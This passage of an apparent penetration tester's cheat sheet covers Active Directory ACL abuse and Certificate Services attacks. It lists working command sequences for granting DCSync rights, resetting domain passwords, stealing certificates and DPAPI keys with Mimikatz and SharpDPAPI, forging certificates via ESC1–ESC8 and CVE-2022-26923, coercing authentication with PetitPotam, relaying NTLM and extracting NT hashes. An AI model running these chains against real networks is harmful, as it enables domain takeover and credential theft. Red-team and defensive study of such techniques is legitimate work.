with the specified access rights.

ACE example in SDDL format:

(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)

AceType:
A = ACCESS_ALLOWED_ACE_TYPE

Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL

Ace Sid:
S-1-1-0

Hunt for ACLs

ActiveDirectory

Enumerate ACLs which snovvcrash user possesses against j.doe user:

PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.IdentityReference -

Enumerate which users possess GenericAll or AllExtendedRights permission against j.doe


user:

PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.ActiveDirectoryRigh

PowerView analog + excluding 3-digit RIDs:

PV3 > Get-DomainObjectAcl -Identity j.doe -Domain megacorp.local -ResolveGUIDs | ? {$_.ActiveD


PV3 > ConvertFrom-SID <SECURITY_IDENTIFIER>
Find all users who can DCSync and convert their SIDs to names:

PV3 > $dcsync = Get-ObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRigh


PV3 > Convert-SidToName $dcsync

PowerView2

Search for interesting ACLs:

PV2 > Invoke-ACLScanner -ResolveGUIDs

Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:

PV2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "

InheritedObjectType : All
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL <== Vict
ObjectType : All
IdentityReference : MEGACORP\sbauer <== Attacker (sbauer)
IsInherited : False
ActiveDirectoryRights : GenericWrite
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : ContainerInherit
InheritanceType : All
AccessControlType : Allow
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110

PowerView3

Search for interesting ACLs:

PV3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}

Check if the attacker "MEGACORP\sbauer" ( S-1-5-21-3167813660-1240564177-918740779-


3102 ) has GenericWrite permissions on the "jorden" user object:

PV3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "

AceType : AccessAllowed
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110 <== Victim (jorden)
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-3102 <== Attacker (sbauer)
AccessMask : 131112

AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed

The -ResolveGUIDs switch shows ObjectType and InheritedObjectType


properties in a human readable form (not in GUIDs).

PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task
(however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can
use the following loop:

PV3 > Get-DomainObjectAcl -Identity snovvcrash -ResolveGUIDs | % {$_ | Add-Member -NotePropert

Abuse GenericAll
Find domain users that current user has GenericAll access right to:

PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden

The attacker can change password of discovered users:

Cmd > net user snovvcrash Passw0rd! /domain

Find domain groups that current user has GenericAll access right to:

PV3 > Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Ide

The attacker can add users to discovered groups:

Cmd > net group "IT Desk" snovvcrash /add /domain

Abuse WriteDACL
Find domain groups that current user has WriteDACL access right to:
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden

The attacker can take the full control of discovered groups and then add a users to them:

PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tric
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose

Group membership will take its sweet time to be updated within target user's TGT. To force the
update one may purge existing tickets and request new TGT:

Cmd > klist purge


Cmd > gpupdate /force
Cmd > dir \\dc1.megacorp.local\c$

Exchange Windows Permissions


Privilege escalation with ACLs in AD by example of the Exchange Windows Permissions domain
group.

Add user to the Exchange Windows Permissions group:

PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash

Add DCSync rights

Using aclpwn.py:

https://github.com/fox-it/aclpwn.py
https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound
https://www.puckiestyle.nl/aclpwn-py/

$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp n

Using Impacket ntlmrelayx.py:

PS > IWR http://10.10.13.37 -UseDefaultCredentials


$ sudo ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash

Using Impacket dacledit.py:


$ dacledit py megacorp local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal sn

Using PowerView2:

PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash

Using PowerView3:

PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-Se


PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash

Using PowerShell ActiveDirectory:

https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md

1. Get ACL for the root domain object.


2. Get SID for the account to be given DCSync rights.

3. Create a new ACL and within it set "Replicating Directory Changes" (GUID 1131f6ad-9c07-11d1-
f79f-00c04fc2dcd2 ) and "Replicating Directory Changes All" (GUID 1131f6aa-9c07-11d1-
f79f-00c04fc2dcd2 ) rights for the SID from (2).
4. Apply changes.

PS > Import-Module ActiveDirectory


PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [System.Security.Principal.IdentityReference] $sid
PS > $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
PS > $type = [System.Security.AccessControl.AccessControlType] "Allow"
PS > $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights
PS > $acl.AddAccessRule($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"

Using ADSI and dsacls.exe:

https://gist.github.com/jfmaes/404b45d542fc07db51e6e07d8ebb79b9

PS > $dse = [ADSI]"LDAP://Rootdse"


PS > $namingContext = $dse.defaultNamingContext
PS > dsacls.exe $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash
Cleanup:

PV3 > Remove-DomainObjectAcl -TargetIdentity megacorp.local -PrincipalIdentity snovvcrash -Rig

Managed Security Groups

https://stealthbits.com/blog/exploiting-weak-active-directory-permissions-with-powersploit/

Returns all security groups in the current (or target) domain that have a manager set:

PV3 > Get-DomainManagedSecurityGroup

GroupName : Security Operations


GroupDistinguishedName : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ManagerName : john.doe
ManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL
ManagerType : User
ManagerCanWrite : UNKNOWN

Enumerate the ACLs set on this group. GenericWrite privilege means that the user can modify group
membership:

PV3 > $sid = ConvertTo-SID john.doe


PV3 > Get-DomainObjectAcl -Identity 'Security Operations' | ? {$_.SecurityIdentifier -eq $sid}

ObjectDN : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL


ObjectSID : S-1-5-21-3167813660-1240564177-918740779-2549
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 131132
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-1874
AceType : AccessAllowed
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None

Tools
Aced

https://github.com/garrettfoster13/aced

AD CS Abuse
Active Directory Certificate Services

[PDF] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee
Christensen)
https://posts.specterops.io/certified-pre-owned-d95910965cd2

https://elkement.wordpress.com/2019/06/01/sizzle-hackthebox-unintended-getting-a-logon-smartcard-
for-the-domain-admin-2/
https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks

https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-
abuse
https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-
and-more-34d1c26f0dc6

This page is a selective copy-paste of the Certified Pre-Owned PDF (mainly offensive
techniques) without testing "in the wild"! When any of the discussed techniques is actually
performed by me during an engagement, corresponding notes are get reviewed, supplemented
with examples from my personal experience and put into a separate section, e.g. ESC1, ESC8,
etc.

Glossary

AD CS 👉🏻 Active Directory Certificate Services


CA 👉🏻 Certification Authority
EKU 👉🏻 Extended Key Usage

SAN 👉🏻 Subject Alternative Name (subjectAltName)


CSR 👉🏻 Certificate Signing Request
CES 👉🏻 Certificate Enrollment Web Service
CAPI 👉🏻 CryptoAPI
CNG 👉🏻 Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:


Description OID

Client Authentication 1.3.6.1.5.5.7.3.2

PKINIT Client Authentication 1.3.6.1.5.2.3.4

Smart Card Logon 1.3.6.1.4.1.311.20.2.2

Any Purpose EKU 2.5.29.37.0

Subordinate CA certificate No EKU set

Enumerate
Enumerate AD Enterprise CAs and their settings with PowerShell:

PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=C


PS > $CAs

Enumerate AD Enterprise CAs with CME:

PS > cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M adcs

Get list of certificate template names:

PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplate


PS > $CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --fi
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --fi

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

Cmd > certutil.exe -config - -ping


Cmd > certutil.exe -TCAInfo [-v]

Hunt for Certificates

Export Certificates (THEFT1)


Export a certificate from user's context.
With certmgr:

Run → certmgr.msc → Action → All Tasks → Export ...

With PowerShell:

PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get

With CertStealer:

Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>

If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or
crypto::cng (to patch lsass.exe memory):

Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"

DPAPI User Keys (THEFT2)

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"

Decrypt masterkey if user's plaintext password is known with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:P

Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey
mappings (will output a .pem file):

Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt

DPAPI Machine Keys (THEFT3)

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use
the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:

# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine

After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use
that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files (THEFT4)

Find certificate files lying around with Seatbelt:

Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"


Cmd > .\Seatbelt.exe InterestingFiles

Some other certificate-related file extensions:

File Extension Description

.key The private key.

.crt / .cer The certificate.

Signing request file. Does not contain certificates


.csr
keys.

Java Keystore. May contain certificates + private


.jks / .keystore / .keys
keys used by Java apps.

List EKUs for a certificate with PowerShell:

PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"


PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($Cert
PS > $Cert.EnhancedKeyUsageList

Parse .pfx with certutil:

Cmd > certutil.exe -dump -v cert.pfx

Correlate a certificate with a CA thumbprint on the host and in AD:

# Get cert's thumbprint


PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($Cert
PS > $Cert.Thumbprint

# Match it with CA certs' thumbprints trusted by the current host


Cmd > .\Seatbelt.exe -q CertificateThumbprints

# Match it with CA certs' thumbprints from AD


Cmd > .\Certify.exe find /quiet
Steal NTLM via PKINIT (THEFT5)
Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

Cmd > .\kekeo.exe "tgt::pac /caname:CorpCA /domain:megacorp.local /subject:snovvcrash /castore

Persistence via Certificates

User Persistence (PERSIST1)

Find certificate templates available for enrollment for the current user:

Cmd > .\Certify.exe find /clientauth

Search for any template that allows domain authentication (a stock published template that allows client
authentication is the User template).

Request a new certificate for enrolling current user context:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User

This will output a certificate and private key in .pem . To convert it to .pfx compatible with Rubeus do:

$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex

After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the
certificate is valid (default certificate lifetime is one year):

Cmd > .\Rubeus.exe asktgt /user:snovvcrash /certificate:C:\Temp\cert.pfx /password:Passw0rd!

This approach will work even if the user changes their password. Combined with the THEFT5 technique, an
adversary can also persistently obtain the account's NTLM hash.

Machine Persistence (PERSIST2)

Same as for PERSIST1 but requesting a certificate for enrolling current machine context:

# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine

With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to
any service on the host (see RBCD Abuse) or generate a silver ticket.

Certificate Renewal

Certificate template validity period - determines how long an issued certificate can be used.
Certificate template renewal period - determines a window of time before the certificate expires where
an account can renew it from the issuing certificate authority.

An adversary can renew the compromised certificate before the validity period expires, and so that extend
their access to AD without requesting additional ticket enrollments.

Domain Escalation via Certificates

Modifiable SAN + Any Purpose EKU (ESC2)

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as
allows Any Purpose EKU ( 2.5.29.37.0 ).

Find template with this misconfiguration:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag

Request a certificate specifying the /altname as a domain admin like in ESC1.

Agent Certificate + Enroll on Behalf of Another User (ESC3)

Conditions:

1. A template allows a low-privileged user to use an enrollment agent certificate.


2. Another template allows a low privileged user to use the enrollment agent certificate to request a
certificate on behalf of another user, and the template defines an EKU that allows for domain
authentication.

1. Request an enrollment agent certificate:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Vuln-EnrollAgentTemplate

2. Request a certificate on behalf of another user based on a template that allows domain authentication:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /onbehalfon:MEGACORP

Vulnerable PKI Object ACEs (ESC5)


...

EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can
have user defined values in the subject alternative name.

This means that an adversary can enroll in any template configured for domain authentication that also
allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to
authenticate as a domain admin or any other active user/machine.

Discover with certutil:

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"


Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Discover with Certify:

Cmd > .\Certify.exe find

To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g.,
the default User template which normally doesn't allow to specify alternative names):

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /altname:DomAdmin

This setting can be set with domain admin's privileges like this (dangerous, do not do this!):

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTR

Remove this setting:

Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTR

Vulnerable CA ACEs (ESC7)

Enumarate CA ACEs with Powershell PSPKI:

PS > Install-Module -Name PSPKI


PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthor

ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate
Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):

# Check before setting the flag


Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA0
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_Microsof
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used
by an adversary to subvert the "CA certificate manager approval" protection:

# Request a certificate that requires manager approval with Certify


PS > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI


PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -Req

# Download the issued certificate with Certify


PS > .\Certify.exe download /ca:CA01.megacorp.local\CorpCA /id:1337

Audit

https://github.com/GhostPack/PSPKIAudit
https://github.com/TrimarcJake/adcs-snippets

PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|Act


PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName CA01.megacorp.local

Misc
Parse .pfx with PowerShell:

PS > $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]([System.Convert]


PS > $cert | select *

Tools

Certify

https://github.com/GhostPack/Certify
https://github.com/blackarrowsec/Certify

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Certify.ps1

Search for vulnerable certificate templates:

Cmd > .\Certify.exe find /vulnerable

Certipy

https://github.com/ly4k/Certipy

Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text,
JSON and BloodHound formats):

$ certipy find MEGACORP/snovvcrash:'Passw0rd!'@DC01.megacorp.local

certi

https://github.com/zer1t0/certi

Get TGT:

$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11


List CAs and servers (short):

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class service

List CAs (verbose):

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class ca

Search for vulnerable certificate templates:

$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --vuln --enable

PassTheCert

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert

https://twitter.com/_nwodtuhs/status/1451510341041594377

dNSHostName Spoofing
CVE-2022-26923

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-
9e098fe298f4

https://www.semperis.com/blog/ad-vulnerability-cve-2022-26923/
https://gist.github.com/Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1
https://gist.github.com/dmchell/478d83f369260bd4e4cd380712f6bb6e
https://github.com/aniqfakhrul/certifried.py

Check
If there's an object SID printed when requesting a certificate based on the User or Machine templates, the
AD environment is not vulnerable:

$ certipy req megacorp.local/snovvcrash:'Passw0rd!'@CA01.megacorp.local -ca CorpCA -template U


Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate


[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139' <== NOT vulner
[*] Saved certificate and private key to 'snovvcrash.pfx'

Exploit
Create a new machine account with dNSHostName containing FQDN of a DC:

$ certipy account create megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -user fakem

Request a certificate on behalf of that machine account with spoofed dNSHostName :

$ certipy req megacorp.local/'fakemachine$:UTFWnTqZV4mgGCkz'@CA01.megacorp.local -ca CorpCA -t

Abuse PKINIT

Authenticate with the obtained certificate and get DC's NT hash via PKINIT:

$ certipy auth -pfx dc01.pfx -dc-ip 192.168.1.11

Abuse RBCD

https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html

Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the
fake machine account:

$ openssl pkcs12 -in dc01.pfx -out dc01.pem -nodes


$ python bloodyAD.py -d megacorp.local -c ":dc01.pem" --host 192.168.1.11 setRbcd 'fakemachine

About the Fix

https://blog.qdsecurity.se/2022/05/27/manually-injecting-a-sid-in-a-certificate/
https://elkement.blog/2022/06/13/defused-that-san-flag/

ESC1
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs

https://elkement.wordpress.com/2020/06/21/impersonating-a-windows-enterprise-admin-with-a-
certificate-kerberos-pkinit-from-linux/

The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart
Card Logon ( 1.3.6.1.4.1.311.20.2.2 ) or Client Authentication ( 1.3.6.1.5.5.7.3.2 ) or PKINIT
Client Authentication ( 1.3.6.1.5.2.3.4 ) EKUs.

Enumerate
Find template with this misconfiguration with native Active Directory module:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag

Exploit

Certify

Request a certificate specifying the /altname as a domain admin:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:Dom

Convert .pem to a .pfx certificate:

$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex

Request a TGT with the .pfx certificate:

Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certi

Certipy

Enroll a certificate with privileged subject in SAN:

$ certipy req megacorp.local/snovvcrash:'Passw0rd!'@CA01.megacorp.local -ca CorpCA -template V

Request TGT providing certificate and get corresponding NT hash automatically:


$ certipy auth -pfx administrator pfx -domain megacorp local -username administrator -dc-ip 19

certi

https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250

Enroll a certificate with privileged subject in SAN:

$ certi.py req megacorp.local/[email protected] CorpCA -k -n --dc-ip 192.168.1.11

Request TGT providing certificate:

$ base64 -w0 DC01.pfx > DC01.pfx.b64


$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admi

Request NT hash providing TGT or DCSync:

$ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key


$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user

ESC4
Vulnerable Certificate Template ACEs

https://github.com/cfalta/PoshADCS

Right Description

Implicit full control of the object, can edit any


Owner
properties.

FullControl Full control of the object, can edit any properties.

Can modify the owner to an adversary-controlled


WriteOwner
principal.

Can modify access control to grant an adversary


WriteDacl
FullControl .

WriteProperty Can edit any properties.

Enumerate and Modify Templates


https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4

https://github.com/fortalice/modifyCertTemplate

ESC8
NTLM Relay to AD CS HTTP Endpoints

https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-
directory/

https://habr.com/ru/company/deiteriylab/blog/581758/

Enumerate
Discover CES endpoints with certutil:

Cmd > certutil.exe -enrollmentServerURL -config CA01.megacorp.local\CA01

Discover CES endpoints with PowerShell:

PS > Get-CertificationAuthority | select name,enroll* | fl

Exploit

ntlmrelayx

https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/

https://github.com/SecureAuthCorp/impacket/pull/1101
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

$ sudo ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --no-wcf-


$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
PS > .\Rubeus.exe asktgt /user:DC1$ /domain:megacorp.local /dc:DC1.megacorp.local /certificate

PKINITtools
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
https://github.com/dirkjanm/PKINITtools

https://gist.github.com/snovvcrash/8b6a1a10e1f47439d16072c60cc2e099

Backup original httpattack.py and copy one from the toolkit with a modified domain name and a
template if needed ( DomainController is by default, but also one may use
KerberosAuthentication ):

$ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py /u
$ subl ntlmrelayx/httpattack.py
$ sudo cp ntlmrelayx/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx

Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos
extension:

$ sudo ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --no-wcf-


$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
$ python3 gettgtpkinit.py megacorp.local/'DC1$' -cert-pem cert.pem -key-pem privatekey.pem dc1
$ KRB5CCNAME=dc1.ccache python3 getnthash.py megacorp.local/'DC1$' -key 00ff00ff00ff00ff00ff00

Revert the original httpattack.py :

$ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.ba

Certipy

Prepare for the relay attack:

$ certipy relay -ca 192.168.1.11 -template DomainController

ADCSPwn

https://github.com/bats3c/ADCSPwn

Stream #17 - Abusing Active Directory Certificate Services as a beacon operator


Start a relay server:

PS > .\ADCSPwn.exe --adcs CA01.megacorp.local

Coerce the authentication, e. g. via Coercer:

